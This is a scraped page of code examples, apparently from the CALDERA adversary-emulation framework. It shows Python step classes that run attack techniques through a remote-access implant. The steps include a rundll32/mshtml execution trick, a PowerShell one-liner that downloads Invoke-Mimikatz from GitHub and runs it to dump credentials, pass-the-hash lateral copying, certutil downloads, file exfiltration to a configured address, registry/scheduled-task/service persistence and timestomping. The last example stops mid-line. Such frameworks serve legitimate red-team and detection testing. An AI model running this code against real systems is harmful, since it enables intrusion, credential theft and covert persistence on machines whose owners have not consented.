Пример #1
0
class Rundll32Execution(Step):
    """    Description:
            This step starts a new process via rundll32.exe.
           Requirements:
            This step only requires the existence of a RAT on a host in order to run.
    """
    display_name = 'rundll32_execution'
    summary = 'Use RunDLL32 (with MSHTA) to run a given command'
    attack_mapping = [('T1085', 'Execution'), ('T1085', 'Defense Evasion')]
    preconditions = [('rat', OPRat),
                     ('host', OPHost(OPVar('software.host'))),
                     ('software', OPSoftware({'downloaded': True, 'installed': False}))]
    postconditions = [('file_g', OPFile({'host': OPVar('rat.host')})),
                      ('process_g', OPProcess),
                      ('software_g', OPSoftware({'downloaded': True, 'installed': True }))]
    significant_parameters = ['host']

    @staticmethod
    def description(host, software):
        return 'Launching {} via Rundll32 on {}'.format(software.name, host.fqdn)

    @staticmethod
    async def action(operation, rat, host, software, file_g, process_g, software_g):

        async def drop_file(path, contents):
            await operation.drop_file_contents(rat, file_path_dest=path, file_contents=bytes(contents, 'utf-8'))
        async def register_file(path):
            await file_g({'path': path, 'host': rat.host})

        # Prepare destination of SCT file
        destination = (get_temp_folder(host, rat) + '{}.sct'.format(random_string()))

        # Drop SCT file containing command to run
        process = ((software.install_command['process'] + ' ') + software.install_command['args']).replace('\\', '\\\\').replace('"', '\\"')
        with open(os.path.join('plugins', 'adversary', 'filestore', 'rundll.sct'), 'rb') as file:
            dump = file.read()
        await operation.drop_file_contents(rat, file_path_dest=destination, file_contents=dump.replace(b'calc.exe', bytes(process, 'utf-8')))

        # Run RunDLL32/mshtml LOLbin
        cmd = command.CustomCommandLine(['c:\\windows\\system32\\rundll32.exe', 'javascript:"\\..\\mshtml,RunHTMLApplication ";o=GetObject("script:file:///{}");o.Exec();close()'.format(destination.replace('\\', '\\\\'))])
        await cmd.generate(drop_file, register_file)
        await operation.execute_shell_command(rat, cmd, None)

        # Register file, process
        await file_g({'path': destination, 'host': host})
        await process_g({'image_name': software.install_command['process'], 'host': host})

        # Update software_g object
        software.executed = True
        await update_software(software_g, software)

        # Mark as successful
        return True

    @staticmethod
    async def cleanup(cleaner, host, file_g, process_g):
        for file in file_g:
            (await cleaner.delete(file))
        for process in process_g:
            (await cleaner.delete(process))
Пример #2
0
class ExfilAdversaryProfile(Step):
    """
    Description:
        This step exfiltrates target files on a target machine utilizing the chosen adversary's configured
        exfiltration method.
    Requirements:
        This step requires file enumeration to have taken place (DirListCollection).
    """
    attack_mapping = [("T1048", "Exfiltration"), ('T1106', 'Execution')]
    display_name = "exfiltrate_files"
    summary = "Exfil a set of files over adversary defined exfil method"

    preconditions = [('rat', OPRat), ('host', OPHost(OPVar('rat.host'))),
                     ('file',
                      OPFile({
                          'host': OPVar('rat.host'),
                          'use_case': 'collect'
                      }))]

    postconditions = [('file_g',
                       OPFile({
                           'host': OPVar('rat.host'),
                           'use_case': 'exfil',
                           'path': OPVar('file.path')
                       }))]

    significant_parameters = ['file']  # don't keep exfil-ing the same file
    # TODO: Keep adding to this as more methods are created in crater / web's adversary-form.js

    @staticmethod
    def description(rat, host, file):
        return "exfilling {} from {}".format(file.path, host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, file, file_g):
        return True

    @staticmethod
    async def action(operation, rat, host, file, file_g):
        method = operation.adversary_artifactlist.get_exfil_method()
        address = operation.adversary_artifactlist.get_exfil_address()
        port = operation.adversary_artifactlist.get_exfil_port()
        output = await operation.exfil_network_connection(rat,
                                                          addr=address,
                                                          port=port,
                                                          file_path=file.path,
                                                          parser=None,
                                                          method=method)
        if "Failed to exfil" in output:
            return False
        await file_g(
        )  # create an ObservedFile object for files that we successfully exfilled
        return True
Пример #3
0
class TasklistLocal(Step):
    """
    Description:
        This step locally enumerates the processes currently running on a target machine using tasklist.exe.
        This enumeration provides information about the processes, as well as associated services and modules.
    Requirements:
        This step only requires the existence of a RAT on a host in order to run.
    """
    attack_mapping = [("T1057", "Discovery"), ("T1007", "Discovery"), ('T1106', 'Execution')]
    display_name = "tasklist(local)"
    summary = "Enumerate process information using tasklist on the local system. The command is run 3 times with the" \
              " /v (verbose), /svc (service) and /m (modules) flags"

    preconditions = [('rat', OPRat),
                     ('host', OPHost(OPVar('rat.host')))]
    postconditions = [("process_g", OPProcess({'$in': OPVar("host.processes")}))]

    postproperties = ['process_g.host', 'host.processes']

    significant_parameters = ['host']

    @staticmethod
    def description(rat):
        return "Using tasklist.exe to enumerate processes on {}".format(rat.host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, process_g):
        return True

    @staticmethod
    async def action(operation, rat, host, process_g):
        processes = await operation.execute_shell_command(rat, *tasklist.main(verbose=True))

        # Add host to process dictionaries
        [proc.update({'host': host}) for proc in processes]

        is_equivalent = lambda proc1, proc2: True if (proc1['pid'] == proc2['pid'] and
                                                      proc1['image_name'] == proc2['image_name']) else False

        # Add service information to processes (use is_equivalent lambda to look for matching processes)
        service_information = await operation.execute_shell_command(rat, *tasklist.main(services=True))
        [old.update(new) if is_equivalent(old, new) else None for old in processes for new in service_information]
        # TODO: Add service results to Observed_Services in db after change to new technique cleanup is done.

        # Add module information to processes
        modules_information = await operation.execute_shell_command(rat, *tasklist.main(modules=True))
        [old.update(new) if is_equivalent(old, new) else None for old in processes for new in modules_information]

        for proc in processes:
            await process_g(proc)

        return True
Пример #4
0
class GetLocalProfiles(Step):
    """
    Description:
        This step enumerates the local profiles of a target machine by enumerating the registry using reg.exe.
    Requirements:
        This step has no hard requirements, but is necessary for another action, HKURunKeyPersist.
    """
    attack_mapping = [('T1033', 'Discovery'), ('T1012', 'Discovery'),
                      ('T1106', 'Execution')]
    display_name = "get_local_profiles"
    summary = "Use reg.exe to enumerate user profiles that exist on a local machine"

    preconditions = [("rat", OPRat), ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("user_g", OPUser({'$in':
                                         OPVar("host.local_profiles")}))]

    significant_parameters = ["host"]

    postproperties = ["user_g.username", "user_g.sid", "user_g.is_group"]

    @staticmethod
    def description(rat, host):
        return "Enumerating user profiles on {}".format(rat.host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, user_g):
        return True

    @staticmethod
    async def action(operation, rat, host, user_g):
        # Enumerate Local Profiles
        profile_list_loc = '"HKLM\\software\\microsoft\\windows nt\\currentversion\\profilelist"'

        q = await operation.execute_shell_command(
            rat, *reg.query(key=profile_list_loc, switches=["/s"]))

        profile_keys = [x for x in q.keys() if "S-1-5-21" in x]
        for key in profile_keys:
            sid = key[key.rfind("\\") + 1:]  # The SID is at the end of the key
            profile_path = q[key]['ProfileImagePath'].data
            username = profile_path[
                profile_path.rfind('\\') +
                1:]  # Assume that directory name is the username.
            await user_g({'username': username, 'sid': sid, 'is_group': False})

        return True
Пример #5
0
class CertutilDownload(Step):
    """    Description:
            This step downloads a file from a remote web server to the host using certutil.
            Based on https://twitter.com/subTee/status/888102593838362624
           Requirements:
            This step only requires the existence of a RAT on a host in order to run.
    """
    display_name = 'certutil_download'
    summary = 'Use certutil.exe to download a file from a remote server'
    attack_mapping = [('T1140', 'Defense Evasion')]
    preconditions = [('rat', OPRat), ('host', OPHost(OPVar('rat.host'))),
                     ('software', OPSoftware({'downloaded': False}))]
    postconditions = [('file_g', OPFile),
                      ('software_g', OPSoftware({'downloaded': True}))]
    postproperties = ['file_g.path']
    significant_parameters = ['host']

    @staticmethod
    def description(host, software):
        return 'Downloading {} via Certutil on {}'.format(
            software.name, host.fqdn)

    @staticmethod
    def parser(text):
        return (re.search('completed successfully', text) is not None)

    @staticmethod
    async def action(operation, rat, host, software, file_g, software_g):
        filename = get_process(software.download_url)
        commands = 'c:\\windows\\system32\\certutil.exe -urlcache -split -f {} && move {} {}'.format(
            software.download_url, filename, software.download_loc)
        successful = (await operation.execute_shell_command(
            rat, command.CommandLine(['cmd', '/c', '"{}"'.format(commands)]),
            CertutilDownload.parser))
        await file_g({'path': software.download_loc, 'host': host})
        software.downloaded = True
        await update_software(software_g, software)
        return successful

    @staticmethod
    async def cleanup(cleaner, file_g):
        for file in file_g:
            await cleaner.delete(file)
Пример #6
0
class DumpCreds(Step):
    """    Description:
            This step uses Invoke-Mimikatz to get credentials of the current system.
           Requirements:
            An elevated RAT.
    """
    display_name = "dump_creds"
    summary = "Run Invoke-Mimikatz to obtain credentials."
    attack_mapping = [('T1003', 'Credential Access'),
                      ('T1064', 'Defense Evasion'), ('T1064', 'Execution'),
                      ('T1086', 'Execution'), ('T1106', 'Execution')]

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("domain_g", OPDomain), ("credential_g", OPCredential),
                      ("host_g", OPHost),
                      ("user_g", OPUser({'$in': OPVar("host.admins")})),
                      ("file_g", OPFile)]

    postproperties = [
        "credential_g.password", "user_g.username", "user_g.is_group",
        "domain_g.windows_domain"
    ]

    hints = [("user_g",
              OPUser({
                  '$in': OPVar('host_g.admins'),
                  "domain": OPVar("domain_g")
              })), ("credential_g", OPCredential({"user": OPVar("user_g")}))]

    significant_parameters = ["host"]

    @staticmethod
    def description(rat):
        return "Running mimikatz to dump credentials on {}".format(
            rat.host.fqdn)

    @staticmethod
    def parser(mimikatz_output):
        credentials = []
        results = re.findall(
            'Username\s*:\s+(.*)\s*\* Domain\s*:\s+(.*)\s*\* Password\s*:\s+(.*)',
            mimikatz_output, re.MULTILINE)

        for result in results:
            if not result[2] or result[2] == '(null)':
                continue
            credentials.append({
                'username': result[0].lower().strip(),
                'domain': result[1].lower().strip(),
                'password': result[2].strip()
            })

        return credentials

    @staticmethod
    async def action(operation, rat, domain_g, credential_g, host_g, user_g,
                     file_g):
        # Step 1: run Mimikatz in memory
        MIMIKATZ_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1"
        ps_parameters = [
            'powershell.exe', '-exec', 'bypass', '-C',
            'IEX(IWR \'{}\'); Invoke-Mimikatz -DumpCreds'.format(MIMIKATZ_URL)
        ]

        async def drop_file(path, contents):
            await operation.drop_file_contents(rat,
                                               file_path_dest=path,
                                               file_contents=bytes(
                                                   contents, 'utf-8'))

        async def register_file(path):
            await file_g({'path': path, 'host': rat.host})

        cmd = command.CustomCommandLine(ps_parameters)
        await cmd.generate(drop_file, register_file)

        credentials = (await
                       operation.execute_shell_command(rat, cmd,
                                                       DumpCreds.parser))

        # Step 2: parse credentials
        users = []
        for cred in credentials:
            # Generate User object
            user = {'username': cred['username'], 'is_group': False}
            if cred['domain'].upper() == rat.host.hostname.upper():
                user['host'] = rat.host
            else:
                user['domain'] = await domain_g(
                    {'windows_domain': cred['domain']})

            user_obj = await user_g(user)

            # Generate Credential object
            await credential_g({
                'password': cred['password'],
                'found_on_host': rat.host,
                'user': user_obj
            })

        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for entry in file_g:
            await cleaner.delete(entry)
Пример #7
0
class HKLMRunKeyPersist(Step):
    """
    Description:
        This step creates an entry in the registry under the Local Machine hive on a given target machine in order
        to maintain persistence (HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run).
    Requirements:
        Requires an elevated RAT.
    """
    attack_mapping = [('T1060', 'Persistence'), ('T1106', 'Execution')]
    display_name = "hklm_runkey_persist"
    summary = (
        "Use reg.exe to gain persistence by inserting a run key value into the Local Machine hive (HKLM). This"
        "will cause the rat to be executed in the user context of any user that logs on to the system"
    )

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]

    postconditions = [("regkey_g", OPRegKey),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": False
                       }))]

    significant_parameters = ["host"]

    preproperties = ["rat.executable"]

    postproperties = [
        "regkey_g.key", "regkey_g.value", "regkey_g.data",
        "persist_g.regkey_artifact"
    ]

    @staticmethod
    def description(rat, host):
        return "Creating a local machine run key on {}".format(host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, regkey_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, regkey_g, persist_g):
        value = "caldera"
        data = rat.executable
        run_key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

        # Add run key
        await operation.execute_shell_command(
            rat, *reg.add(key=run_key, value=value, data=data, force=True))

        regkey = await regkey_g({
            'host': host,
            'key': run_key,
            'value': value,
            'data': data
        })
        await persist_g({'regkey_artifact': regkey})

        return True

    @staticmethod
    async def cleanup(cleaner, regkey_g):
        for regkey in regkey_g:
            await cleaner.delete(regkey)
Пример #8
0
class SchtasksPersist(Step):
    """
    Description:
        This step involves scheduling a startup task on a target machine with the goal of maintaining persistence.
        Any RATs spawn via this method run as SYSTEM.
    Requirements:
        Requires an Elevated RAT, and a accessible copy of the RAT on the target machine.
    """
    attack_mapping = [('T1053', 'Persistence'), ('T1106', 'Execution')]
    display_name = "schtasks_persist"
    summary = "Schedule a startup task to gain persistence using schtask.exe"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ("rat_file",
                      OPFile({
                          "host": OPVar("host"),
                          'use_case': 'rat'
                      }))]

    postconditions = [("schtask_g",
                       OPSchtask({
                           "host": OPVar("host"),
                           "schedule_type": "onstart"
                       })),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": True
                       }))]

    significant_parameters = ['host']

    preproperties = ["rat_file.path"]
    postproperties = [
        "persist_g.schtasks_artifact", "schtask_g.name", "schtask_g.exe_path"
    ]

    @staticmethod
    def description(rat):
        return "Gaining persistence on {} by scheduling a startup task.".format(
            rat.host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, rat_file, schtask_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, rat_file, schtask_g, persist_g):
        task_name = operation.adversary_artifactlist.get_scheduled_task_word()
        exe_path = rat_file.path
        arguments = ""

        await operation.execute_shell_command(
            rat,
            *schtasks.create(task_name=task_name,
                             arguments=arguments,
                             exe_path=exe_path,
                             remote_user="******",
                             schedule_type="ONSTART"))

        schtask = await schtask_g({
            "name": task_name,
            "exe_path": exe_path,
            "arguments": arguments
        })
        await persist_g({"schtasks_artifact": schtask})

        return True

    @staticmethod
    async def cleanup(cleaner, schtask_g):
        for schtask in schtask_g:
            await cleaner.delete(schtask)
Пример #9
0
class Timestomp(Step):
    """
    Description:
        This step adjusts the logged timestamps for a target file to match those of a similar file. The cleanup
        process restores the original timestamps for the file.
    Requirements:
        Requires administrative access on the target machine.
    """
    attack_mapping = [('T1099', 'Defense Evasion'), ('T1106', 'Execution')]
    display_name = "timestomp"
    summary = "Reduce suspicion of a copied file by altering its timestamp to look legitimate"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('file', OPFile({'host': OPVar('host')}))]

    postconditions = [("file_g", OPFile)]

    postproperties = [
        "file_g.new_creation_time", "file_g.new_last_access",
        "file_g.new_last_write", "file_g.old_creation_time",
        "file_g.old_last_access", "file_g.last_write", "file_g.timestomped"
    ]

    # Prevents the rat's timestamps from being altered (attempting to timestamp the rat produces an error)
    # Comment this next line out for testing
    not_equal = [('file.path', 'rat.executable')]

    @staticmethod
    def description(file, host):
        return "Modifying the timestamp of {} on {}".format(
            file.path, host.fqdn)

    @staticmethod
    async def simulate(operation, rat, host, file, file_g):
        return True

    @staticmethod
    async def action(operation, rat, host, file, file_g):
        results = await operation.execute_powershell(
            rat, "timestomper",
            PSFunction('Perform-Timestomp', PSArg('FileLocation', file.path),
                       PSArg('Verbose')), parsers.timestomp.timestomp)

        # Don't parse if type 0 failure
        if results == {}:
            return False
        # Unpack parser...
        if results["TimestampModified"] == "True":
            timestamp_modified = True
        else:
            timestamp_modified = False

        await file_g({
            'path': file.path,
            'host': file.host,
            'use_case': file.use_case,
            'new_creation_time': results["CreationTime"],
            'new_last_access': results["LastAccessTime"],
            'new_last_write': results["LastWriteTime"],
            'old_creation_time': results["OldCreationTime"],
            'old_last_access': results["OldAccessTime"],
            'old_last_write': results["OldWriteTime"],
            'timestomped': timestamp_modified
        })

        return True

    # Resets the timestamp of the file
    @staticmethod
    async def cleanup(cleaner, host, file_g):
        for file in file_g:
            try:
                await cleaner.revert_timestamp(host, file)
            except AttributeError:
                continue
Пример #10
0
class GetPrivEscSvcInfo(Step):
    """
    Description:
        This step utilises the PowerUp powershell script to identify potential service-based privilege
        escalation opportunities on a target machine.
    Requirements:
        Requires an non-elevated RAT. This step identifies unquoted service paths, modifiable service targets,
        and modifiable services for privilege escalation purposes.
    """
    attack_mapping = [('T1007', 'Discovery'), ('T1106', 'Execution')]
    display_name = "privilege_escalation(service)"
    summary = "Use PowerUp to find potential service-based privilege escalation vectors"

    preconditions = [("rat", OPRat({"elevated": False})),
                     ("host", OPHost(OPVar("rat.host")))]

    postconditions = [("service_g",
                       OPService({
                           "host": OPVar("host"),
                           "user_context": OPVar("rat.username")
                       }))]

    @staticmethod
    def description():
        return "Looking for potential privilege escalation vectors related to services"

    @staticmethod
    async def simulate(operation, rat, host, service_g):
        return True

    @staticmethod
    async def action(operation, rat, host, service_g):
        unquoted = await operation.execute_powershell(
            rat, "powerup", PSFunction("Get-ServiceUnquoted"),
            parsers.powerup.get_serviceunquoted)
        for parsed_service in unquoted:
            # insert each service into the database
            service_dict = {
                "name": parsed_service['name'],
                "bin_path": parsed_service['bin_path'],
                'service_start_name': parsed_service['service_start_name'],
                'can_restart': parsed_service['can_restart'],
                'modifiable_paths': parsed_service['modifiable_paths'],
                'vulnerability': 'unquoted',
                'revert_command': ""
            }
            await service_g(service_dict)
        fileperms = await operation.execute_powershell(
            rat, "powerup", PSFunction("Get-ModifiableServiceFile"),
            parsers.powerup.get_modifiableservicefile)
        for parsed_service in fileperms:
            service_dict = {
                'name': parsed_service['name'],
                'bin_path': parsed_service['bin_path'],
                'service_start_name': parsed_service['service_start_name'],
                'can_restart': parsed_service['can_restart'],
                'modifiable_paths': parsed_service['modifiable_paths'],
                'vulnerability': 'file',
                'revert_command': ""
            }
            await service_g(service_dict)
        mod_bin_path = await operation.execute_powershell(
            rat, "powerup", PSFunction("Get-ModifiableService"),
            parsers.powerup.get_modifiableservice)
        for parsed_service in mod_bin_path:
            service_dict = {
                'name': parsed_service['name'],
                'bin_path': parsed_service['bin_path'],
                'service_start_name': parsed_service['service_start_name'],
                'can_restart': parsed_service['can_restart'],
                'vulnerability': 'bin_path',
                'revert_command': ""
            }
            await service_g(service_dict)
        return True
Пример #11
0
class ScPersist(Step):
    """
    Description:
        Creates a service on a target machine in order to establish persistence, using sc.exe.
    Requirements:
        Requires an elevated RAT, and a accessible copy of the RAT on the target machine.
    """
    attack_mapping = [('T1050', 'Persistence'),
                      ('T1050', 'Privilege Escalation'),
                      ('T1106', 'Execution')]
    display_name = "sc_persist"
    summary = "Use sc.exe to achieve persistence by creating a service on compromised hosts"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('rat_file',
                      OPFile({
                          'host': OPVar('host'),
                          'use_case': 'rat'
                      }))]

    postconditions = [("service_g", OPService({"host": OPVar("host")})),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": True
                       }))]

    significant_parameters = ['host']

    preproperties = ["rat_file.path"]

    postproperties = [
        "service_g.name", "persist_g.service_artifact", "service_g.bin_path"
    ]

    @staticmethod
    def description(rat, host):
        return "Using sc.exe to create a service on {}".format(host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, rat_file, service_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, rat_file, service_g, persist_g):
        svcname = operation.adversary_artifactlist.get_service_word()
        bin_path = '"cmd /K start {}"'.format(rat_file.path)

        await operation.execute_shell_command(rat,
                                              *sc.create(bin_path, svcname))

        service = await service_g({'name': svcname, 'bin_path': bin_path})
        await persist_g({'service_artifact': service})

        return True

    @staticmethod
    async def cleanup(cleaner, service_g):
        for service in service_g:
            await cleaner.delete(service)
Пример #12
0
class GetPeripheralDevicesLocal(Step):
    """
    Description:
        This step enumerates peripheral devices on the host.  This grabs USB devices, Disk Drives,
        and image devices.
    Requirements:
        This step only requires the existence of a RAT on a host in order to run.
    """
    attack_mapping = [("T1005", "Collection"), ("T1120", "Discovery"),
                      ('T1106', 'Execution')]
    display_name = "get_pnpdevices"
    summary = "Enumerate peripheral devices attached to the host device"

    preconditions = [('rat', OPRat), ('host', OPHost(OPVar("rat.host")))]

    postconditions = [('device_g', OPDevice({'$in': OPVar('host.devices')}))]

    significant_parameters = ['host'
                              ]  # no need to do this more than once per host

    postproperties = ['device_g.host', 'host.devices']

    @staticmethod
    def description(rat, host):
        return "Using powershell to enumerate PNP devices on {}".format(
            host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, device_g):
        return True

    @staticmethod
    async def action(operation, rat, host, device_g):
        # Cmd will call a powershell instance to run Get-PnpDevices for a specific set of devices

        # Set up static parameters regarding device classes and query parameters
        dev_classes = {
            'Image': '{6bdd1fc6-810f-11d0-bec7-08002be2092f}',
            'Camera': '{ca3e7ab9-b4c3-4ae6-8251-579ef933890f}',
            'DiskDrive': '{4d36e967-e325-11ce-bfc1-08002be10318}',
            'SmartCardReader': '{50dd5230-ba8a-11d1-bf5d-0000f805f530}',
            'Sensors': '{5175d334-c371-4806-b3ba-71fd53c9258d}'
        }
        dev_selectors = ['ClassGuid', 'Name', 'Status', 'DeviceID']

        # build query strings
        dev_query = "\\\"Select * FROM Win32_PnPEntity Where ClassGUID like "
        dev_query += ' or ClassGUID like '.join("'%s'" % c
                                                for c in dev_classes.values())
        dev_query += '\\\"'
        dev_select = ','.join(dev_selectors)
        get_dev_cmd = "gwmi -Query {}".format(dev_query)

        # get devices
        device_objects = await operation.execute_shell_command(rat, *cmd.powershell(get_dev_cmd,\
                                                parsers.cmd.powershell_devices))

        # create device obects
        for dev in device_objects:

            dev.update({'host': host})
            await device_g(dev)

        return True
Пример #13
0
class PassTheHashCopy(Step):
    """
    Description:
        This step uses the Pass the Hash technique to copy a file to a target machine using xcopy.
    Requirements:
        Requires administrative access, domain enumeration, and credentials for an administrator on the target
        machine (needs both administrator enumeration 'GetAdmin', and credential data 'Credentials').
    """
    attack_mapping = [('T1075', 'Lateral Movement'), ('T1105', 'Lateral Movement'), ('T1106', 'Execution')]
    display_name = "pass_the_hash_copy"
    summary = "Copy a file from a computer to another using a credential-injected command prompt"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ('user', OPUser(OPVar("cred.user"))),
                     ("host", OPHost(OPVar("rat.host"))),
                     ('dest_host', OPHost),
                     ("cred", OPCredential({'$in': {'user': OPVar("dest_host.admins")}})),
                     ('domain', OPDomain(OPVar("user.domain")))]
    postconditions = [("file_g", OPFile({'host': OPVar("dest_host")}))]

    preproperties = ['rat.executable', 'dest_host.hostname', 'domain.windows_domain', 'cred.hash']

    not_equal = [('host', 'dest_host')]

    deterministic = True

    @staticmethod
    def description(host, dest_host):
        return "Using pass the hash to copy an implant from {} to {}".format(host.fqdn, dest_host.fqdn)

    @staticmethod
    async def simulate(operation, rat, user, host, dest_host, cred, domain, file_g):
        return True

    @staticmethod
    async def action(operation, rat, user, host, dest_host, cred, domain, file_g):
        filepath = "\\" + operation.adversary_artifactlist.get_executable_word()
        # echo F | xcopy will automatically create missing directories
        final_command = "cmd.exe /c echo F | xcopy {0} \\\\{1}\\c${2}".format(rat.executable, dest_host.hostname, filepath)

        mimikatz_command = MimikatzCommand(privilege_debug(),
                                           sekurlsa_pth(user=user.username, domain=domain.windows_domain,
                                                        ntlm=cred.hash, run=final_command),
                                           mimi_exit())

        if host.os_version.major_version >= 10:
            # Pass compiled mimikatz.exe into Invoke-ReflectivePEInjection PowerSploit script.  This works on
            # windows 10 and patched older systems (KB3126593 / MS16-014 update installed)
            await operation.reflectively_execute_exe(rat, "mimi64-exe", mimikatz_command.command,
                                                     parsers.mimikatz.sekurlsa_pth)
        else:
            # Use Invoke-Mimikatz (trouble getting this working on Windows 10 as of 8/2017).
            await operation.execute_powershell(rat, "powerkatz",
                                               PSFunction('Invoke-Mimikatz',
                                                          PSArg("Command", mimikatz_command.command.command_line)),
                                               parsers.mimikatz.sekurlsa_pth)

        await file_g({'src_host': dest_host, 'src_path': rat.executable, 'path': "C:" + filepath, 'use_case': 'rat'})

        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for file in file_g:
            await cleaner.delete(file)
Пример #14
0
class SysteminfoLocal(Step):
    """
    Description:
        This step enumerates the target machine locally using systeminfo.exe.
    Requirements:
        This step only requires the existence of a RAT on a host in order to run.
    """
    attack_mapping = [("T1082", "Discovery"), ('T1106', 'Execution')]
    display_name = "systeminfo(local)"
    summary = "Use systeminfo.exe to enumerate the local system"

    preconditions = [('rat', OPRat), ('host', OPHost(OPVar('rat.host')))]
    postconditions = [('host_g', OPHost), ("domain_g", OPDomain),
                      ("os_version_g", OPOSVersion)]

    postproperties = [
        'host_g.hostname', 'host_g.dns_domain_name', 'host_g.fqdn',
        'host_g.systeminfo', 'host_g.os_version', 'domain_g.windows_domain',
        'domain_g.dns_domain'
    ]

    significant_parameters = ['host']

    @staticmethod
    def description(rat):
        return "Using systeminfo.exe to enumerate {}".format(rat.host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, host_g, domain_g, os_version_g):
        return True

    @staticmethod
    async def action(operation, rat, host, host_g, domain_g, os_version_g):
        info = await operation.execute_shell_command(rat, *systeminfo.csv())

        # Domain info
        await domain_g({
            'windows_domain': info['Domain'].split('.')[0],
            'dns_domain': info['Domain']
        })

        # Add info about our current host. If we need more host information pulled with systeminfo in the future add it
        # here.
        host_fqdn = '.'.join([info['Host Name'], info['Domain']]).lower()
        # Update the host attributes that we're tracking. Also, save the command result to the database as a text
        # string.
        os_version = await os_version_g({**info['parsed_version_info']})
        await host_g({
            'hostname': info['Host Name'].lower(),
            'dns_domain_name': info['Domain'],
            'fqdn': host_fqdn,
            'system_info': info['_original_text'],
            'os_version': os_version
        })

        # If the RAT is running in a Domain user's context we can find a DC with this (does nothing if we're SYSTEM):
        if info['Logon Server'] != 'N/A':
            logon_server_fqdn = '.'.join(
                [info['Logon Server'].strip('\\\\'), info['Domain']]).lower()
            await host_g({
                'fqdn': logon_server_fqdn,
                'hostname': info['Logon Server'].strip('\\\\').lower(),
                'dns_domain_name': info['Domain']
            })

        return True
Пример #15
0
class WebServerInstall(Step):
    """    Description:
            This step prepares the installation of a PHP webserver.
           Requirements:
            This step only requires the existence of a RAT on a host in order to run.
    """
    display_name = 'webserver_install'
    summary = 'Prepares webserver installation'
    attack_mapping = [('T1094', 'Command and Control')]
    preconditions = [('rat', OPRat({'elevated': True})),
                     ('host', OPHost(OPVar('rat.host')))]
    postconditions = [('software_g',
                       OPSoftware({
                           'name': 'webserver',
                           'installed': False,
                           'downloaded': False
                       }))]
    significant_parameters = ['host']

    @staticmethod
    def description(host):
        return 'Preparing webserver install on {}'.format(host.fqdn)

    @staticmethod
    async def action(operation, rat, host, software_g):
        name = 'webserver'
        download_url = 'http://www.usbwebserver.net/downloads/USBWebserver%20v8.6.zip'
        download_loc = (get_temp_folder(host, rat) +
                        '{}.zip'.format(random_string()))
        install_loc = (get_temp_folder(host, rat) +
                       '{}\\'.format(random_string()))
        install_command = {
            'process':
            'powershell.exe',
            'args':
            '/command "Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory(\'{}\', \'{}\')"'
            .format(download_loc, install_loc),
        }
        (await software_g({
            'host': host,
            'name': name,
            'installed': False,
            'install_command': install_command,
            'install_loc': install_loc,
            'downloaded': False,
            'download_url': download_url,
            'download_loc': download_loc,
        }))
        return True

    @staticmethod
    async def cleanup(cleaner, host, software_g):
        for software in software_g:
            if (not (await cleaner.run_on_agent(
                    host,
                    command.CommandLine('rmdir /s /q {}'.format(
                        software.install_loc)), (lambda x:
                                                 (x.strip() == ''))))):
                (await cleaner.console_log(
                    host, "Can't delete webserver folder on {} ({})".format(
                        host.fqdn, software.install_loc)))
Пример #16
0
class Credentials(Step):
    """
    Description:
        This step utilizes mimikatz to dump the credentials currently stored in memory on a target machine.
    Requirements:
        Requires administrative access to the target machine.
        *NOTE: In order for this action to be useful, the target machines must be seeded with credentials,
        and the appropriate registry keys must be set so that the credentials are held in memory.*
    """
    attack_mapping = [('T1003', 'Credential Access'),
                      ('T1064', 'Defense Evasion'), ('T1064', 'Execution'),
                      ('T1086', 'Execution'), ('T1106', 'Execution')]
    display_name = "get_creds"
    summary = "Use Mimikatz to dump credentials on a specific computer"

    value = 10
    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("domain_g", OPDomain), ("credential_g", OPCredential),
                      ("host_g", OPHost), ("user_g", OPUser)]

    # hacky hint: tells the planner to assume that the credentials are for a user that is local admin on a
    # new host, so that it finds this technique useful
    hints = [("user_g",
              OPUser({
                  '$in': OPVar('host_g.admins'),
                  "domain": OPVar("domain_g")
              })), ("credential_g", OPCredential({"user": OPVar("user_g")}))]

    preproperties = ["host.os_version.major_version"]

    # host_g.fqdn portproperty is a hack so that planner can use it to laterally move
    postproperties = [
        "credential_g.password", "user_g.username", "user_g.is_group",
        "domain_g.windows_domain", "host_g.fqdn"
    ]

    significant_parameters = ["host"]

    cddl = """
    Knowns:
        rat: OPRat[host]
    Effects:
        if not exist rat {
            forget rat
        } elif rat.elevated {
            for cred in rat.host.cached_creds {
                know cred[user[username, is_group, domain[windows_domain], host], password]
            }
        }
    """

    @staticmethod
    def description(host):
        return "Running mimikatz to dump credentials on {}".format(host.fqdn)

    @staticmethod
    async def action(operation, rat, host, domain_g, credential_g, user_g):
        mimikatz_command = MimikatzCommand(privilege_debug(),
